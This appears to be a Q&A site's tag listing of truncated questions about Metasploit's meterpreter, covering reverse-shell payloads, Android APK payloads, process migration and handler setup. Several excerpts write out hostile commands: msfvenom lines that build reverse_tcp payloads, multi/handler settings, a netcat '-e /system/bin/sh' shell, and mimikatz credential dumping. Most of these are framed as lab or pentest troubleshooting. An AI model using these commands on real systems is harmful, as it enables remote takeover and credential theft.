Questions tagged [meterpreter]
The meterpreter tag has no usage guidance.
104
questions
1
vote
1answer
592 views
Get the privileges of root with the user with I do an exploit with Shellshock [closed]
I got the remote control of a linux machine with Shellshock attack in Kali Linux (attacker machine) to a TinyCore Linux (victim machine), I used this module to attack the CGI vulnerability:
use ...
1
vote
0answers
1k views
Unable to migrate meterpreter into 64 bit process? [duplicate]
How to migrate a meterpreter process into a 64 bit process?
When i run following exploit (ie_execcommand_uaf), it migrates into explorer which is 32 bit rather than to notepad.exe which is a 64 bit ...
1
vote
2answers
864 views
Run metasploit console resource scripts
Hi I want to do this in my lab environment:
When meterpreter shell is gained, automatically I want to execute console commands such as route add, jobs -K or use some other exploit or auxiliary ...
1
vote
0answers
458 views
Android meterpreter payload crashes app
I'm trying to inject a reverse_tcp meterpreter payload into my own app for educational purposes.
Loading the raw payload apk on my phone works over LAN/WAN.
I injected the payload manually by ...
1
vote
1answer
440 views
Prevent metasploit meterpreter process migration [closed]
Is there any way to prevent meterpreter process migration.?
1
vote
0answers
226 views
Setup a meterpreter session trough a vpn
this is my first post here.
I was trying to start a meterpreter session from a mac to my kali Linux machine trough a vpn but it isn't working.
I downloaded openVPN config files from vpnbook.com and ...
1
vote
1answer
2k views
Manually migrate to another process without using metasploit? [duplicate]
There is a useful meterpreter script that allows to migrate meterpreter to another process by specifying its PID.
Imagine I have my own session running. How could I migrate to another process without ...
1
vote
1answer
154 views
Meterpreter connections
If i setup a meterpreter reverse_https payload and send to multiple targets and they execute the payload whithout my handler running, when I setup the handler will they connect or do I have to have ...
1
vote
0answers
345 views
Metasploit to connect to a target behind NAT
During a pentest and I experienced a weird problem with connecting to the target machine which is behind a NAT network the scenario is basically,
they have a public ip : 1.1.1.1
and there are ...
1
vote
0answers
881 views
Metasploit payloads with VPN or proxies?
I have purchased VPN with torguard and asked them to forward ports. I run a test on the VPN IP and ports specified, and says ports closed, but they say otherwise in interface. Anyway I create a ...
1
vote
1answer
2k views
Stdapi commands not showing in meterpreter session
I created a android payload with public IP (android/meterpreter/reverse_https).
The stdapi commands(ls,cd,webcam_snap etc) are showing when the victim is in the same network.
But when I try to ...
1
vote
0answers
833 views
web view addjavascriptinterface exploit
I have been banging my head around this for almost 56 hours now (+/- a few that I took out to have a couple of naps and RedBulls) and have not been able to get anywhere with it so far.
I am trying ...
1
vote
0answers
766 views
Attaching orphaned/stageless session meterpreter
I have problems with meterpreter reverse_https. In my engagement, I saw this message in console; "Attaching orphaned/stageless session meterpreter"
But after I lose connection, and victim connects ...
1
vote
0answers
543 views
Android not connected to kali linux with meterpreter in metasploit
I keep running into an error.
I create an apk:
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 R > test.apk
In the console, I configure the multi/handler:
set PAYLOAD ...
1
vote
0answers
112 views
Metasploit Plugin not interacting with Meterpreter Client
I'm developing a plugin to automate some post exploitation tasks. Two days ago all methods that interact with the client (from the client_core and stdapi) simply don't return anything, like if in a ...
1
vote
0answers
388 views
Metasploit payload problem [closed]
Recently I tested a shell vector payload. A text file converted to .bat, which is both theoretically and practically 100% undetectable by antivirus. First I tested it on my host computer for Kali ...
1
vote
0answers
1k views
How does Metasploit's payload work with a remote target?
I have some simple questions. I often use Metasploit in my pentest engagements.
It works fine when I'm inside a local network. Okay, we know that, when the payload is injected properly, it will give ...
1
vote
0answers
1k views
Meterpreter:execute command failed [closed]
When run execute -f cmd.exe -i -H, Meterpreter gave me an error:
[-] stdapi_sys_process_execute: Operation failed: 1
What is causing this, and how to resolve it?
0
votes
3answers
154 views
How can clicking on a URI infect a host? [duplicate]
I watched a generic information security awareness presentation earlier, in which all that was required for the presenter to penetrate an organisation (with a meterpreter/reverse shell), was for ...
0
votes
2answers
2k views
Meterpreter reverse_https ExitOnSession
When I'm setting the options for the reverse_https handler in metasploit, why would I set ExitOnSession to false and SessionCommunicationTimeout to 0? I don't fully understand the purpose. When I used ...
0
votes
1answer
154 views
How to launch a Metasploit module with arguments in just one command
I am developing my first Metasploit module on Metasploit v5.0.1. I would like to launch my own module in one command with args and not using meterpreter. At this time, I launch my module with these ...
0
votes
2answers
519 views
How to use standalone meterpreter exe with a USB key connected to an unlocked victim session
When I need to make a POC about why it is dangerous to let the session unlocked, I used to put a mimikatz on an USB key and get the logon credentials in clear text.
But sometimes the client has no ...
0
votes
1answer
5k views
How to set correctly set Local Host on a payload for a user outside subnet?
I'm training with labs and metasploit and there's some payloads I can send to my target and exploit it(in my subnet). If I have to exploit a payload I sent to a target outside my network which options ...
0
votes
1answer
517 views
Adding plugin to meterpreter
I'm trying to add a meterpreter plugin,
a = client.railgun.kernel32.GetLogicalDrives()["return"]
# Math magic to convert the binary to letters
drives = []
letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
(...
0
votes
1answer
550 views
How do I get back to a Meterpreter shell after backgrounding it?
Curious if any of you have an answer to this Metasploit question. It's an issue of a Metasploit session within another Metasploit session.
In this lab I'm doing, I need to compromise a machine (10.10....
0
votes
1answer
687 views
Meterpreter reverse shell alternative
What can you do if you are behind NAT but can't do port forwarding and don't want to pay for a virtual server with internet-facing IP? I read the answer to this question which suggests some tunneling ...
0
votes
1answer
522 views
From SQL Injection in SQLite to shell
I need to obtain a shell from an SQL injection over an application with sqlite database.
Currently my exploit looks like the following:
lucian@0x90:~/$ proxychains nc 10.185.10.55 1101
ProxyChains-3....
0
votes
2answers
1k views
MSFvenom payload with dynamic options
I am using MSFvenom to export meterpreter's reverse TCP payload. While this works with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.6.131 LPORT=4444 -f -exe > ~/Desktop/...
0
votes
1answer
657 views
How to find external ip address a payload uses to connect back to the attacker?
I find myself targeted with a malicious .apk file. I am provided with some malicious files disguised as a genuine .apk.
I used apktool to decompile the file and collect some information about the ...
0
votes
2answers
913 views
Msfvenom meterpreter android architectures
Is there any android architecture I can set my meterpreter reverse_http payload to that works on every android phone?
Basically, when I don't set any architecture it defaults to dalvik but that ...
0
votes
1answer
905 views
Android meterpreter invalid session
Every time I use a meterpreter reverse https on an android phone over the internet, a session is created but after some seconds it says the session is not valid and it closes. When I do it on the LAN ...
0
votes
1answer
339 views
Meterpreter Webcam_snap warnings [closed]
Since I updated metasploit every time I run the webcam_snap command in meterpreter in recieve lots of warnings like the ones below, why do they appear?
Gtk-WARNING **: Theme parsing error: gtk-...
0
votes
1answer
3k views
Error when using metasploit mimikatz module
I'm working on dumping plaintext passwords from a compromised machine (it's my computer, research, blah blah blah)
Anyways, I'm getting a weird error when running the metasploit module in a ...
0
votes
1answer
483 views
How can I open a meterpreter shell on the target server after redirecting the target server to my own web server hosting the payload?
Alright, so here is what I did to a vulnhub machine after I found a XSS vulnerability in it.
Generated a reverse_tcp php payload and kept it within my web server.
Navigated to my web server's payload ...
0
votes
0answers
19 views
Auto execute meterpreter commands on session start(android) [duplicate]
I want my meterpreter to execute the command as soon as it gets the session. My payload is android/meterpreter/reverse_tcp
I want a file that can execute these commands automatically as soon as ...
0
votes
0answers
42 views
Meterpreter shell not presenting results
After successfully running an exploit from Metasploit (Drupageddon), I am trying to run commands through the shell command in meterpreter. However, it displays prompts but not the results of any other ...
0
votes
0answers
698 views
Meterpreter is failing to load any extension except the core commands
[*] Starting persistent handler(s)...
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
...
0
votes
0answers
116 views
Meterpreter Upload won't work
I am trying to follow a walkthrough for a CTF and there is one point where i have to upload a unix-privesc-check file to the other machine. Well when i use the command i get this response
upload /...
0
votes
0answers
21 views
Using stack-based memory_dump, the value of esp in query_regs is always 0
I was trying to use
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/memory_grep.rb
using the stack-based method. However it wasn't working. What I do is ...
0
votes
0answers
46 views
How can I use netcat to connect back from my meterpreter session to my santoku OS android
I have install netcat in my genymotion VM machine. When I give command through adb nc -l <IP ADDRESS> -p <PORT> -e /system/bin/sh It runs. But when I try to launch this same command from ...
0
votes
1answer
149 views
How to response to Meterpreter HTTP Request sent from client
First of all apologies for mistakes as i am at beginner level. I was exploring Meterpreter HTTP Handler. I have created a payload with meterpreter reverse HTTP and writing my own http server for ...
0
votes
1answer
160 views
How to set autorunscript of core commands?
I'm trying to automate scripts of an Android Metasploit payload. I can successfully automate any script on the /post module, however, I'm trying to automate geolocate, dump_calllog and others that are ...
0
votes
1answer
264 views
Switching to native meterpreter
I've managed to get a meterpreter session running between my Kali Linux and Windows 2016 Server by uploading a payload as an Apache Axis2 web service.
I want to change to a windows meterpreter(in ...
0
votes
1answer
595 views
Meterpreter file upload - segmentation fault
I'm doing some experiments on two VMs, one running Kali and the other running Ubuntu. I have a problem with the "upload" command of Meterpreter. In particular, I already open a reverse tcp session ...
-1
votes
1answer
4k views
Windows 10 not running meterpreter payload
I have quite a complex problem on my hands. I recently had the ambition to try out new features of Metasploit (on Kali Linux 2017.1). I have two computers, so I thought this was a perfect environment ...
-1
votes
3answers
927 views
How to edit and save a file from MS-DOS under meterpreter?
Once I have a meterpreter shell on the machine, I opened a MS-DOS prompt with this command:
execute -f cmd.exe -i -H
Then, I would like to edit a file with edit file_name, but I don't know how to ...
-1
votes
1answer
796 views
How can a reverse shell payload be executed? [closed]
With metasploit it is possible to open a reverse shell via meterpreter. For this you need to place a payload on the attacked server. E.g., there is an endpoint open that places files on a server, and ...
-1
votes
1answer
192 views
Penetration testing of windows ( Corporate systems )
So I am part of the team where in we have to conduct a penetration testing assignment for our client. Basically what he wants from us is to show how we can get into their system with the help of ...
-1
votes
2answers
308 views
Meterpreter reverse_https website
When I make a a meterpreter connection with reverse https how do I change the website that appears when someone types my ip and LURI to the browser?
-1
votes
1answer
457 views
How to connect reverse_tcp with my remote server(not in the same machine where i have metasploit)?
This is my question: How to connect reverse_tcp meterpreter with my remote server(NOT in the same machine where i have installed metasploit)? It's possible? I need this because i haven't a public ip ...
